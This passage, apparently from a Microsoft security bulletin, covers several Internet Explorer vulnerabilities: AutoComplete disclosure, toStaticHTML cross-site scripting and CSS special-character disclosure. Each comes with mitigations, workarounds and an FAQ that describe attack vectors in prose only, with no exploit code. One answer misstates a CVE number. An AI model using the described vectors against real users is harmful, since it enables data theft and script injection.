zone.\r\n\r\n6.\r\n\t\r\n\r\nClick OK two times to accept the changes and return to Internet Explorer.\r\n\r\nNote Add any sites that you trust not to take malicious action on your system. Two in particular that you may want to add are *.windowsupdate.microsoft.com and *.update.microsoft.com. These are the sites that will host the update, and it requires an ActiveX Control to install the update.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for AutoComplete Information Disclosure Vulnerability - CVE-2010-0808\r\n\r\nWhat is the scope of the vulnerability? \r\nThis is an information disclosure vulnerability. An attacker who exploited the vulnerability when a user views a Web page could capture content entered into form fields if the AutoComplete feature has been enabled.\r\n\r\nWhat causes the vulnerability? \r\nInternet Explorer allows for automated, scripted instructions to simulate user actions on the AutoComplete feature.\r\n\r\nWhat is the AutoComplete feature? \r\nAutoComplete is a feature in Internet Explorer that helps users quickly enter information in form fields. For more information, see the MSDN article, Using AutoComplete in HTML Forms.\r\n\r\nWhat might an attacker use the vulnerability to do? \r\nAn attacker who successfully exploited this vulnerability could potentially capture data previously entered into forms in the browser. The AutoComplete feature is disabled by default.\r\n\r\nHow could an attacker exploit the vulnerability? \r\nAn attacker could host a specially crafted Web site that is designed to exploit this vulnerability through Internet Explorer and then convince a user to view the Web site. The attacker could also take advantage of compromised Web sites and Web sites that accept or host user-provided content or advertisements. These Web sites could contain specially crafted content that could exploit this vulnerability. In all cases, however, an attacker would have no way to force users to visit these Web sites. Instead, an attacker would have to convince users to visit the Web site, typically by getting them to click a link in an e-mail message or in an Instant Messenger message that takes users to the attacker's Web site. It could also be possible to display specially crafted Web content by using banner advertisements or by using other methods to deliver Web content to affected systems.\r\n\r\nWhat systems are primarily at risk from the vulnerability? \r\nThis vulnerability requires that a user be logged on and visiting a Web site for any malicious action to occur. Therefore, any systems where Internet Explorer is used frequently, such as workstations or terminal servers, are at the most risk from this vulnerability.\r\n\r\nWhat does the update do? \r\nThe update addresses the vulnerability by modifying the AutoComplete feature within Internet Explorer.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed? \r\nYes. This vulnerability has been publicly disclosed. It has been assigned Common Vulnerability and Exposure number CVE-2010-0808.\r\n\r\nWhen this security bulletin was issued, had Microsoft received any reports that this vulnerability was being exploited? \r\nNo. Microsoft had not received any information to indicate that this vulnerability had been publicly used to attack customers and had not seen any examples of proof of concept code published when this security bulletin was originally issued.\r\n\r\nI am running Internet Explorer for Windows Server 2003 or Windows Server 2008. Does this mitigate this vulnerability? \r\nYes. By default, Internet Explorer on Windows Server 2003 and Windows Server 2008 runs in a restricted mode that is known as Enhanced Security Configuration. Enhanced Security Configuration is a group of preconfigured settings in Internet Explorer that can reduce the likelihood of a user or administrator downloading and running specially crafted Web content on a server. This is a mitigating factor for Web sites that you have not added to the Internet Explorer Trusted sites zone. See also Managing Internet Explorer Enhanced Security Configuration.\r\nTop of sectionTop of section\r\nTop of sectionTop of section\r\n\t\r\nHTML Sanitization Vulnerability - CVE-2010-3243\r\n\r\nAn information disclosure vulnerability exists in the way that the toStaticHTML API sanitizes HTML, that could allow an attacker to perform cross-site scripting attacks and run script in the security context of the logged-on user. An attacker who successfully exploited this vulnerability could execute a cross-site scripting attack on the user, allowing the attacker to execute script in the user's security context against a site that is using the toStaticHTML API.\r\n\r\nTo view this vulnerability as a standard entry in the Common Vulnerabilities and Exposures list, see CVE-2010-3243.\r\n\t\r\nMitigating Factors for HTML Sanitization Vulnerability - CVE-2010-3243\r\n\r\nMitigation refers to a setting, common configuration, or general best-practice, existing in a default state, that could reduce the severity of exploitation of a vulnerability. The following mitigating factors may be helpful in your situation:\r\n\u2022\t\r\n\r\nBy default, Internet Explorer on Windows Server 2003 and Windows Server 2008 runs in a restricted mode that is known as Enhanced Security Configuration. This mode sets the security level for the Internet zone to High. This is a mitigating factor for Web sites that you have not added to the Internet Explorer Trusted sites zone. See the FAQ subsection of this vulnerability section for more information about Internet Explorer Enhanced Security Configuration.\r\n\u2022\t\r\n\r\nOnly Web sites that is using toStaticHTML may potentially be affected.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for HTML Sanitization Vulnerability - CVE-2010-3243\r\n\r\nWorkaround refers to a setting or configuration change that does not correct the underlying vulnerability but would help block known attack vectors before you apply the update. Microsoft has tested the following workarounds and states in the discussion whether a workaround reduces functionality:\r\n\u2022\t\r\n\r\nRead e-mails in plain text\r\n\r\nTo help protect yourself from the e-mail attack vector, read e-mail messages in plain text format.\r\n\r\nMicrosoft Office Outlook 2002 users who have applied Office XP Service Pack 1 or a later version and Microsoft Office Outlook Express 6 users who have applied Internet Explorer 6 Service Pack 1 or a later version can enable this setting and view e-mail messages that are not digitally signed or e-mail messages that are not encrypted in plain text only.\r\n\r\nDigitally signed e-mail messages or encrypted e-mail messages are not affected by the setting and may be read in their original formats. For more information about how to enable this setting in Outlook 2002, see Microsoft Knowledge Base Article 307594.\r\n\r\nFor information about this setting in Outlook Express 6, see Microsoft Knowledge Base Article 291387.\r\n\r\nImpact of workaround. E-mail messages that are viewed in plain text format will not contain pictures, specialized fonts, animations, or other rich content. Additionally:\r\n\u2022\t\r\n\r\nThe changes are applied to the preview pane and to open messages.\r\n\u2022\t\r\n\r\nPictures become attachments so that they are not lost.\r\n\u2022\t\r\n\r\nBecause the message is still in Rich Text or HTML format in the store, the object model (custom code solutions) may behave unexpectedly.\r\n\u2022\t\r\n\r\nSet Internet and Local intranet security zone settings to "High" to block ActiveX Controls and Active Scripting in these zones\r\n\r\nYou can help protect against exploitation of this vulnerability by changing your settings for the Internet security zone to block ActiveX controls and Active Scripting. You can do this by setting your browser security to High.\r\n\r\nTo raise the browsing security level in Internet Explorer, follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nOn the Internet Explorer Tools menu, click Internet Options.\r\n\r\n2.\r\n\t\r\n\r\nIn the Internet Options dialog box, click the Security tab, and then click the Internet icon.\r\n\r\n3.\r\n\t\r\n\r\nUnder Security level for this zone, move the slider to High. This sets the security level for all Web sites you visit to High.\r\n\r\nNote If no slider is visible, click Default Level, and then move the slider to High.\r\n\r\nNote Setting the level to High may cause some Web sites to work incorrectly. If you have difficulty using a Web site after you change this setting, and you are sure the site is safe to use, you can add that site to your list of trusted sites. This will allow the site to work correctly even with the security setting set to High.\r\n\r\nImpact of workaround. There are side effects to blocking ActiveX Controls and Active Scripting. Many Web sites that are on the Internet or on an intranet use ActiveX or Active Scripting to provide additional functionality. For example, an online e-commerce site or banking site may use ActiveX Controls to provide menus, ordering forms, or even account statements. Blocking ActiveX Controls or Active Scripting is a global setting that affects all Internet and intranet sites. If you do not want to block ActiveX Controls or Active Scripting for such sites, use the steps outlined in "Add sites that you trust to the Internet Explorer Trusted sites zone".\r\n\r\nAdd sites that you trust to the Internet Explorer Trusted sites zone\r\n\r\nAfter you set Internet Explorer to block ActiveX controls and Active Scripting in the Internet zone and in the Local intranet zone, you can add sites that you trust to the Internet Explorer Trusted sites zone. This will allow you to continue to use trusted Web sites exactly as you do today, while helping to protect yourself from this attack on untrusted sites. We recommend that you add only sites that you trust to the Trusted sites zone.\r\n\r\nTo do this, follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nIn Internet Explorer, click Tools, click Internet Options, and then click the Security tab.\r\n\r\n2.\r\n\t\r\n\r\nIn the Select a Web content zone to specify its current security settings box, click Trusted Sites, and then click Sites.\r\n\r\n3.\r\n\t\r\n\r\nIf you want to add sites that do not require an encrypted channel, click to clear the Require server verification (https:) for all sites in this zone check box.\r\n\r\n4.\r\n\t\r\n\r\nIn the Add this Web site to the zone box, type the URL of a site that you trust, and then click Add.\r\n\r\n5.\r\n\t\r\n\r\nRepeat these steps for each site that you want to add to the zone.\r\n\r\n6.\r\n\t\r\n\r\nClick OK two times to accept the changes and return to Internet Explorer.\r\n\r\nNote Add any sites that you trust not to take malicious action on your system. Two in particular that you may want to add are *.windowsupdate.microsoft.com and *.update.microsoft.com. These are the sites that will host the update, and it requires an ActiveX Control to install the update.\r\n\u2022\t\r\n\r\nConfigure Internet Explorer to prompt before running Active Scripting or to disable Active Scripting in the Internet and Local intranet security zone\r\n\r\nYou can help protect against exploitation of this vulnerability by changing your settings to prompt before running Active Scripting or to disable Active Scripting in the Internet and Local intranet security zone. To do this, follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nIn Internet Explorer, click Internet Options on the Tools menu.\r\n\r\n2.\r\n\t\r\n\r\nClick the Security tab.\r\n\r\n3.\r\n\t\r\n\r\nClick Internet, and then click Custom Level.\r\n\r\n4.\r\n\t\r\n\r\nUnder Settings, in the Scripting section, under Active Scripting, click Prompt or Disable, and then click OK.\r\n\r\n5.\r\n\t\r\n\r\nClick Local intranet, and then click Custom Level.\r\n\r\n6.\r\n\t\r\n\r\nUnder Settings, in the Scripting section, under Active Scripting, click Prompt or Disable, and then click OK.\r\n\r\n7.\r\n\t\r\n\r\nClick OK two times to return to Internet Explorer.\r\n\r\nNote Disabling Active Scripting in the Internet and Local intranet security zones may cause some Web sites to work incorrectly. If you have difficulty using a Web site after you change this setting, and you are sure the site is safe to use, you can add that site to your list of trusted sites. This will allow the site to work correctly.\r\n\r\nImpact of workaround. There are side effects to prompting before running Active Scripting. Many Web sites that are on the Internet or on an intranet use Active Scripting to provide additional functionality. For example, an online e-commerce site or banking site may use Active Scripting to provide menus, ordering forms, or even account statements. Prompting before running Active Scripting is a global setting that affects all Internet and intranet sites. You will be prompted frequently when you enable this workaround. For each prompt, if you feel you trust the site that you are visiting, click Yes to run Active Scripting. If you do not want to be prompted for all these sites, use the steps outlined in "Add sites that you trust to the Internet Explorer Trusted sites zone".\r\n\r\nAdd sites that you trust to the Internet Explorer Trusted sites zone\r\n\r\nAfter you set Internet Explorer to require a prompt before it runs ActiveX controls and Active Scripting in the Internet zone and in the Local intranet zone, you can add sites that you trust to the Internet Explorer Trusted sites zone. This will allow you to continue to use trusted Web sites exactly as you do today, while helping to protect you from this attack on untrusted sites. We recommend that you add only sites that you trust to the Trusted sites zone.\r\n\r\nTo do this, follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nIn Internet Explorer, click Tools, click Internet Options, and then click the Security tab.\r\n\r\n2.\r\n\t\r\n\r\nIn the Select a Web content zone to specify its current security settings box, click Trusted Sites, and then click Sites.\r\n\r\n3.\r\n\t\r\n\r\nIf you want to add sites that do not require an encrypted channel, click to clear the Require server verification (https:) for all sites in this zone check box.\r\n\r\n4.\r\n\t\r\n\r\nIn the Add this Web site to the zone box, type the URL of a site that you trust, and then click Add.\r\n\r\n5.\r\n\t\r\n\r\nRepeat these steps for each site that you want to add to the zone.\r\n\r\n6.\r\n\t\r\n\r\nClick OK two times to accept the changes and return to Internet Explorer.\r\n\r\nNote Add any sites that you trust not to take malicious action on your system. Two in particular that you may want to add are *.windowsupdate.microsoft.com and *.update.microsoft.com. These are the sites that will host the update, and it requires an ActiveX Control to install the update.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for HTML Sanitization Vulnerability - CVE-2010-3243\r\n\r\nWhat is the scope of the vulnerability? \r\nThis is an information disclosure vulnerability. An attacker who exploited the vulnerability when a user views a Web page that uses the toStaticHTML API may execute a cross-site scripting attack on the user.\r\n\r\nWhat causes the vulnerability? \r\nThe vulnerability exists in the way that Internet Explorer handles content using specific strings when sanitizing HTML.\r\n\r\nWhat is the toStaticHTML API? \r\nThe toStaticHTML API can be used to remove event attributes and script from user input before display as HTML. For more information, please see the MSDN Library article, toStaticHTML Method.\r\n\r\nIs this vulnerability related to CVE-2010-3243 in MS10-072, Vulnerabilities in toStaticHTML Could Allow Information Disclosure? \r\nYes, the HTML Sanitization Vulnerability, CVE-2010-4243, also affects Microsoft SharePoint.\r\n\r\nAre both updates necessary to be installed to be protected from the vulnerability? \r\nNo, each update addresses a separate application. Only the update that corresponds with software running on your system needs to be applied.\r\n\r\nWhat might an attacker use the vulnerability to do? \r\nAn attacker who successfully exploited this vulnerability, when a user is viewing HTML on a Web site that has not been properly sanitized by Internet Explorer, could execute script in the user's security context against a site.\r\n\r\nHow could an attacker exploit the vulnerability? \r\nTo exploit this vulnerability, an attacker must have the ability to submit a specially crafted script to a target site. Due to the vulnerability, in specific situations the specially crafted script is not properly sanitized using toStaticHTML, and subsequently this could lead to attacker-supplied script being run in the security context of a user who views the malicious content on the Web site.\r\n\r\nFor cross-site scripting attacks, this vulnerability requires that a user be visiting a compromised Web site for any malicious action to occur. For instance, after an attacker has successfully submitted specially crafted script to the target site, any Web page on that site that contains the specially crafted script is a potential vector for persistent cross-site scripting attacks. When a user visits a Web page that contains the specially crafted script, the script could be run in the security context of the user on the site.\r\n\r\nWhat systems are primarily at risk from the vulnerability? \r\nThis vulnerability requires that a user be logged on and visiting a Web site for any malicious action to occur. Therefore, any systems where Internet Explorer is used frequently, such as workstations or terminal servers, are at the most risk from this vulnerability.\r\n\r\nI am running Internet Explorer for Windows Server 2003 or Windows Server 2008. Does this mitigate this vulnerability? \r\nYes. By default, Internet Explorer on Windows Server 2003 and Windows Server 2008 runs in a restricted mode that is known as Enhanced Security Configuration. Enhanced Security Configuration is a group of preconfigured settings in Internet Explorer that can reduce the likelihood of a user or administrator downloading and running specially crafted Web content on a server. This is a mitigating factor for Web sites that you have not added to the Internet Explorer Trusted sites zone. See also Managing Internet Explorer Enhanced Security Configuration.\r\n\r\nWhat does the update do? \r\nThe update addresses the vulnerability by modifying the way that Internet Explorer handles HTML sanitization using toStaticHTML.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed? \r\nNo. Microsoft received information about this vulnerability through coordinated vulnerability disclosure.\r\n\r\nWhen this security bulletin was issued, had Microsoft received any reports that this vulnerability was being exploited? \r\nNo. Microsoft had not received any information to indicate that this vulnerability had been publicly used to attack customers when this security bulletin was originally issued.\r\nTop of sectionTop of section\r\nTop of sectionTop of section\r\n\t\r\nHTML Sanitization Vulnerability - CVE-2010-3324\r\n\r\nAn information disclosure vulnerability exists in the way that the toStaticHTML API sanitizes HTML, that could allow an attacker to perform cross-site scripting attacks and run script in the security context of the logged-on user. An attacker who successfully exploited this vulnerability could execute a cross-site scripting attack on the user, allowing the attacker to execute script in the user's security context against a site that is using the toStaticHTML API.\r\n\r\nTo view this vulnerability as a standard entry in the Common Vulnerabilities and Exposures list, see CVE-2010-3324.\r\n\t\r\nMitigating Factors for HTML Sanitization Vulnerability - CVE-2010-3324\r\n\r\nMitigation refers to a setting, common configuration, or general best-practice, existing in a default state, that could reduce the severity of exploitation of a vulnerability. The following mitigating factors may be helpful in your situation:\r\n\u2022\t\r\n\r\nBy default, Internet Explorer on Windows Server 2003 and Windows Server 2008 runs in a restricted mode that is known as Enhanced Security Configuration. This mode sets the security level for the Internet zone to High. This is a mitigating factor for Web sites that you have not added to the Internet Explorer Trusted sites zone. See the FAQ subsection of this vulnerability section for more information about Internet Explorer Enhanced Security Configuration.\r\n\u2022\t\r\n\r\nOnly Web sites that is using toStaticHTML may potentially be affected.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for HTML Sanitization Vulnerability - CVE-2010-3324\r\n\r\nWorkaround refers to a setting or configuration change that does not correct the underlying vulnerability but would help block known attack vectors before you apply the update. Microsoft has tested the following workarounds and states in the discussion whether a workaround reduces functionality:\r\n\u2022\t\r\n\r\nRead e-mails in plain text\r\n\r\nTo help protect yourself from the e-mail attack vector, read e-mail messages in plain text format.\r\n\r\nMicrosoft Office Outlook 2002 users who have applied Office XP Service Pack 1 or a later version and Microsoft Office Outlook Express 6 users who have applied Internet Explorer 6 Service Pack 1 or a later version can enable this setting and view e-mail messages that are not digitally signed or e-mail messages that are not encrypted in plain text only.\r\n\r\nDigitally signed e-mail messages or encrypted e-mail messages are not affected by the setting and may be read in their original formats. For more information about how to enable this setting in Outlook 2002, see Microsoft Knowledge Base Article 307594.\r\n\r\nFor information about this setting in Outlook Express 6, see Microsoft Knowledge Base Article 291387.\r\n\r\nImpact of workaround. E-mail messages that are viewed in plain text format will not contain pictures, specialized fonts, animations, or other rich content. Additionally:\r\n\u2022\t\r\n\r\nThe changes are applied to the preview pane and to open messages.\r\n\u2022\t\r\n\r\nPictures become attachments so that they are not lost.\r\n\u2022\t\r\n\r\nBecause the message is still in Rich Text or HTML format in the store, the object model (custom code solutions) may behave unexpectedly.\r\n\u2022\t\r\n\r\nSet Internet and Local intranet security zone settings to "High" to block ActiveX Controls and Active Scripting in these zones\r\n\r\nYou can help protect against exploitation of this vulnerability by changing your settings for the Internet security zone to block ActiveX controls and Active Scripting. You can do this by setting your browser security to High.\r\n\r\nTo raise the browsing security level in Internet Explorer, follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nOn the Internet Explorer Tools menu, click Internet Options.\r\n\r\n2.\r\n\t\r\n\r\nIn the Internet Options dialog box, click the Security tab, and then click the Internet icon.\r\n\r\n3.\r\n\t\r\n\r\nUnder Security level for this zone, move the slider to High. This sets the security level for all Web sites you visit to High.\r\n\r\nNote If no slider is visible, click Default Level, and then move the slider to High.\r\n\r\nNote Setting the level to High may cause some Web sites to work incorrectly. If you have difficulty using a Web site after you change this setting, and you are sure the site is safe to use, you can add that site to your list of trusted sites. This will allow the site to work correctly even with the security setting set to High.\r\n\r\nImpact of workaround. There are side effects to blocking ActiveX Controls and Active Scripting. Many Web sites that are on the Internet or on an intranet use ActiveX or Active Scripting to provide additional functionality. For example, an online e-commerce site or banking site may use ActiveX Controls to provide menus, ordering forms, or even account statements. Blocking ActiveX Controls or Active Scripting is a global setting that affects all Internet and intranet sites. If you do not want to block ActiveX Controls or Active Scripting for such sites, use the steps outlined in "Add sites that you trust to the Internet Explorer Trusted sites zone".\r\n\r\nAdd sites that you trust to the Internet Explorer Trusted sites zone\r\n\r\nAfter you set Internet Explorer to block ActiveX controls and Active Scripting in the Internet zone and in the Local intranet zone, you can add sites that you trust to the Internet Explorer Trusted sites zone. This will allow you to continue to use trusted Web sites exactly as you do today, while helping to protect yourself from this attack on untrusted sites. We recommend that you add only sites that you trust to the Trusted sites zone.\r\n\r\nTo do this, follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nIn Internet Explorer, click Tools, click Internet Options, and then click the Security tab.\r\n\r\n2.\r\n\t\r\n\r\nIn the Select a Web content zone to specify its current security settings box, click Trusted Sites, and then click Sites.\r\n\r\n3.\r\n\t\r\n\r\nIf you want to add sites that do not require an encrypted channel, click to clear the Require server verification (https:) for all sites in this zone check box.\r\n\r\n4.\r\n\t\r\n\r\nIn the Add this Web site to the zone box, type the URL of a site that you trust, and then click Add.\r\n\r\n5.\r\n\t\r\n\r\nRepeat these steps for each site that you want to add to the zone.\r\n\r\n6.\r\n\t\r\n\r\nClick OK two times to accept the changes and return to Internet Explorer.\r\n\r\nNote Add any sites that you trust not to take malicious action on your system. Two in particular that you may want to add are *.windowsupdate.microsoft.com and *.update.microsoft.com. These are the sites that will host the update, and it requires an ActiveX Control to install the update.\r\n\u2022\t\r\n\r\nConfigure Internet Explorer to prompt before running Active Scripting or to disable Active Scripting in the Internet and Local intranet security zone\r\n\r\nYou can help protect against exploitation of this vulnerability by changing your settings to prompt before running Active Scripting or to disable Active Scripting in the Internet and Local intranet security zone. To do this, follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nIn Internet Explorer, click Internet Options on the Tools menu.\r\n\r\n2.\r\n\t\r\n\r\nClick the Security tab.\r\n\r\n3.\r\n\t\r\n\r\nClick Internet, and then click Custom Level.\r\n\r\n4.\r\n\t\r\n\r\nUnder Settings, in the Scripting section, under Active Scripting, click Prompt or Disable, and then click OK.\r\n\r\n5.\r\n\t\r\n\r\nClick Local intranet, and then click Custom Level.\r\n\r\n6.\r\n\t\r\n\r\nUnder Settings, in the Scripting section, under Active Scripting, click Prompt or Disable, and then click OK.\r\n\r\n7.\r\n\t\r\n\r\nClick OK two times to return to Internet Explorer.\r\n\r\nNote Disabling Active Scripting in the Internet and Local intranet security zones may cause some Web sites to work incorrectly. If you have difficulty using a Web site after you change this setting, and you are sure the site is safe to use, you can add that site to your list of trusted sites. This will allow the site to work correctly.\r\n\r\nImpact of workaround. There are side effects to prompting before running Active Scripting. Many Web sites that are on the Internet or on an intranet use Active Scripting to provide additional functionality. For example, an online e-commerce site or banking site may use Active Scripting to provide menus, ordering forms, or even account statements. Prompting before running Active Scripting is a global setting that affects all Internet and intranet sites. You will be prompted frequently when you enable this workaround. For each prompt, if you feel you trust the site that you are visiting, click Yes to run Active Scripting. If you do not want to be prompted for all these sites, use the steps outlined in "Add sites that you trust to the Internet Explorer Trusted sites zone".\r\n\r\nAdd sites that you trust to the Internet Explorer Trusted sites zone\r\n\r\nAfter you set Internet Explorer to require a prompt before it runs ActiveX controls and Active Scripting in the Internet zone and in the Local intranet zone, you can add sites that you trust to the Internet Explorer Trusted sites zone. This will allow you to continue to use trusted Web sites exactly as you do today, while helping to protect you from this attack on untrusted sites. We recommend that you add only sites that you trust to the Trusted sites zone.\r\n\r\nTo do this, follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nIn Internet Explorer, click Tools, click Internet Options, and then click the Security tab.\r\n\r\n2.\r\n\t\r\n\r\nIn the Select a Web content zone to specify its current security settings box, click Trusted Sites, and then click Sites.\r\n\r\n3.\r\n\t\r\n\r\nIf you want to add sites that do not require an encrypted channel, click to clear the Require server verification (https:) for all sites in this zone check box.\r\n\r\n4.\r\n\t\r\n\r\nIn the Add this Web site to the zone box, type the URL of a site that you trust, and then click Add.\r\n\r\n5.\r\n\t\r\n\r\nRepeat these steps for each site that you want to add to the zone.\r\n\r\n6.\r\n\t\r\n\r\nClick OK two times to accept the changes and return to Internet Explorer.\r\n\r\nNote Add any sites that you trust not to take malicious action on your system. Two in particular that you may want to add are *.windowsupdate.microsoft.com and *.update.microsoft.com. These are the sites that will host the update, and it requires an ActiveX Control to install the update.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for HTML Sanitization Vulnerability - CVE-2010-3324\r\n\r\nWhat is the scope of the vulnerability? \r\nThis is an information disclosure vulnerability. An attacker who exploited the vulnerability when a user views a Web page that uses the toStaticHTML API may execute a cross-site scripting attack on the user.\r\n\r\nWhat causes the vulnerability? \r\nThe vulnerability exists in the way that Internet Explorer handles content using specific strings when sanitizing HTML.\r\n\r\nWhat is the toStaticHTML API? \r\nThe toStaticHTML API can be used to remove event attributes and script from user input before display as HTML. For more information, please see the MSDN Library article, toStaticHTML Method.\r\n\r\nIs this vulnerability related to CVE-2010-3324 in MS10-072, Vulnerabilities in toStaticHTML Could Allow Information Disclosure? \r\nYes, the HTML Sanitization Vulnerability, CVE-2010-3324, also affects Microsoft SharePoint.\r\n\r\nAre both updates necessary to be installed to be protected from the vulnerability? \r\nNo, each update addresses a separate application. Only the update that corresponds with software running on your system needs to be applied.\r\n\r\nWhat might an attacker use the vulnerability to do? \r\nAn attacker who successfully exploited this vulnerability, when a user is viewing HTML on a Web site that has not been properly sanitized by Internet Explorer, could execute script in the user's security context against the site.\r\n\r\nHow could an attacker exploit the vulnerability? \r\nTo exploit this vulnerability, an attacker must have the ability to submit a specially crafted script to a target site. Due to the vulnerability, in specific situations the specially crafted script is not properly sanitized using toStaticHTML, and subsequently this could lead to attacker-supplied script being run in the security context of a user who views the malicious content on the Web site.\r\n\r\nFor cross-site scripting attacks, this vulnerability requires that a user be visiting a compromised Web site for any malicious action to occur. For instance, after an attacker has successfully submitted specially crafted script to the target site, any Web page on that site that contains the specially crafted script is a potential vector for persistent cross-site scripting attacks. When a user visits a Web page that contains the specially crafted script, the script could be run in the security context of the user on the site.\r\n\r\nWhat systems are primarily at risk from the vulnerability? \r\nThis vulnerability requires that a user be logged on and visiting a Web site for any malicious action to occur. Therefore, any systems where Internet Explorer is used frequently, such as workstations or terminal servers, are at the most risk from this vulnerability.\r\n\r\nWhat does the update do? \r\nThe update addresses the vulnerability by modifying the way that Internet Explorer handles HTML sanitization using toStaticHTML.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed? \r\nYes. This vulnerability has been publicly disclosed. It has been assigned Common Vulnerability and Exposure number CVE-2010-3324.\r\n\r\nWhen this security bulletin was issued, had Microsoft received any reports that this vulnerability was being exploited? \r\nNo. Microsoft had not received any information to indicate that this vulnerability had been publicly used to attack customers when this security bulletin was originally issued.\r\nTop of sectionTop of section\r\nTop of sectionTop of section\r\n\t\r\nCSS Special Character Information Disclosure Vulnerability - CVE-2010-3325\r\n\r\nAn information disclosure vulnerability exists in the way that Internet Explorer processes CSS special characters. An attacker could exploit the vulnerability by constructing a specially crafted Web page that could allow information disclosure if a user viewed the Web page. An attacker who successfully exploited this vulnerability could view content from another domain or Internet Explorer zone.\r\n\r\nTo view this vulnerability as a standard entry in the Common Vulnerabilities and Exposures list, see CVE-2010-3325.\r\n\t\r\nMitigating Factors for CSS Special Character Information Disclosure Vulnerability - CVE-2010-3325\r\n\r\nMitigation refers to a setting, common configuration, or general best-practice, existing in a default state, that could reduce the severity of exploitation of a vulnerability. The following mitigating factors may be helpful in your situation.\r\n\u2022\t\r\n\r\nIn a Web-based attack scenario, an attacker could host a Web site that contains a Web page that is used to exploit this vulnerability. In addition, compromised Web sites and Web sites that accept or host user-provided content or advertisements could contain specially crafted content that could exploit this vulnerability. In all cases, however, an attacker would have no way to force users to visit these Web sites. Instead, an attacker would have to convince users to visit the Web site, typically by getting them to click a link in an e-mail message or Instant Messenger message that takes users to the attacker's Web site.\r\n\u2022\t\r\n\r\nBy default, all supported versions of Microsoft Outlook, Microsoft Outlook Express, and Windows Mail open HTML e-mail messages in the Restricted sites zone, which disables script and ActiveX controls, removing the risk of an attacker being able to use this vulnerability to execute malicious code. If a user clicks a link in an e-mail message, the user could still be vulnerable to exploitation of this vulnerability through the Web-based attack scenario.\r\n\u2022\t\r\n\r\nBy default, Internet Explorer on Windows Server 2003 and Windows Server 2008 runs in a restricted mode that is known as Enhanced Security Configuration. This mode sets the security level for the Internet zone to High. This is a mitigating factor for Web sites that you have not added to the Internet Explorer Trusted sites zone. See the FAQ subsection of this vulnerability section for more information about Internet Explorer Enhanced Security Configuration.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for CSS Special Character Information Disclosure Vulnerability - CVE-2010-3325\r\n\r\nWorkaround refers to a setting or configuration change that does not correct the underlying vulnerability but would help block known attack vectors before you apply the update. Microsoft has tested the following workarounds and states in the discussion whether a workaround reduces functionality:\r\n\u2022\t\r\n\r\nSet Internet and Local intranet security zone settings to "High" to block ActiveX Controls and Active Scripting in these zones\r\n\r\nYou can help protect against exploitation of this vulnerability by changing your settings for the Internet security zone to block ActiveX controls and Active Scripting. You can do this by setting your browser security to High.\r\n\r\nTo raise the browsing security level in Internet Explorer, follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nOn the Internet Explorer Tools menu, click Internet Options.\r\n\r\n2.\r\n\t\r\n\r\nIn the Internet Options dialog box, click the Security tab, and then click the Internet icon.\r\n\r\n3.\r\n\t\r\n\r\nUnder Security level for this zone, move the slider to High. This sets the security level for all Web sites you visit to High.\r\n\r\nNote If no slider is visible, click Default Level, and then move the slider to High.\r\n\r\nNote Setting the level to High may cause some Web sites to work incorrectly. If you have difficulty using a Web site after you change this setting, and you are sure the site is safe to use, you can add that site to your list of trusted sites. This will allow the site to work correctly even with the security setting set to High.\r\n\r\nImpact of workaround. There are side effects to blocking ActiveX Controls and Active Scripting. Many Web sites that are on the Internet or on an intranet use ActiveX or Active Scripting to provide additional functionality. For example, an online e-commerce site or banking site may use ActiveX Controls to provide menus, ordering forms, or even account statements. Blocking ActiveX Controls or Active Scripting is a global setting that affects all Internet and intranet sites. If you do not want to block ActiveX Controls or Active Scripting for such sites, use the steps outlined in "Add sites that you trust to the Internet Explorer Trusted sites zone".\r\n\r\nAdd sites that you trust to the Internet Explorer Trusted sites zone\r\n\r\nAfter you set Internet Explorer to block ActiveX controls and Active Scripting in the Internet zone and in the Local intranet zone, you can add sites that you trust to the Internet Explorer Trusted sites zone. This will allow you to continue to use trusted Web sites exactly as you do today, while helping to protect yourself from this attack on untrusted sites. We recommend that you add only sites that you trust to the Trusted sites zone.\r\n\r\nTo do this, follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nIn Internet Explorer, click Tools, click Internet Options, and then click the Security tab.\r\n\r\n2.\r\n\t\r\n\r\nIn the Select a Web content zone to specify its current security settings box, click Trusted Sites, and then click Sites.\r\n\r\n3.\r\n\t\r\n\r\nIf you want to add sites that do not require an encrypted channel, click to clear the Require server verification (https:) for all sites in this zone check box.\r\n\r\n4.\r\n\t\r\n\r\nIn the Add this Web site to the zone box, type the URL of a site that you trust, and then click Add.\r\n\r\n5.\r\n\t\r\n\r\nRepeat these steps for each site that you want to add to the zone.\r\n\r\n6.\r\n\t\r\n\r\nClick OK two times to accept the changes and return to Internet Explorer.\r\n\r\nNote Add any sites that you trust not to take malicious action on your system. Two in particular that you may want to add are *.windowsupdate.microsoft.com and *.update.microsoft.com. These are the sites that will host the update, and it requires an ActiveX Control to install the update.\r\n\u2022\t\r\n\r\nConfigure Internet Explorer to prompt before running Active Scripting or to disable Active Scripting in the Internet and Local intranet security zone\r\n\r\nYou can help protect against exploitation of this vulnerability by changing your settings to prompt before running Active Scripting or to disable Active Scripting in the Internet and Local intranet security zone. To do this, follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nIn Internet Explorer, click Internet Options on the Tools menu.\r\n\r\n2.\r\n\t\r\n\r\nClick the Security tab.\r\n\r\n3.\r\n\t\r\n\r\nClick Internet, and then click Custom Level.\r\n\r\n4.\r\n\t\r\n\r\nUnder Settings, in the Scripting section, under Active Scripting, click Prompt or Disable, and then click OK.\r\n\r\n5.\r\n\t\r\n\r\nClick Local intranet, and then click Custom Level.\r\n\r\n6.\r\n\t\r\n\r\nUnder Settings, in the Scripting section, under Active Scripting, click Prompt or Disable, and then click 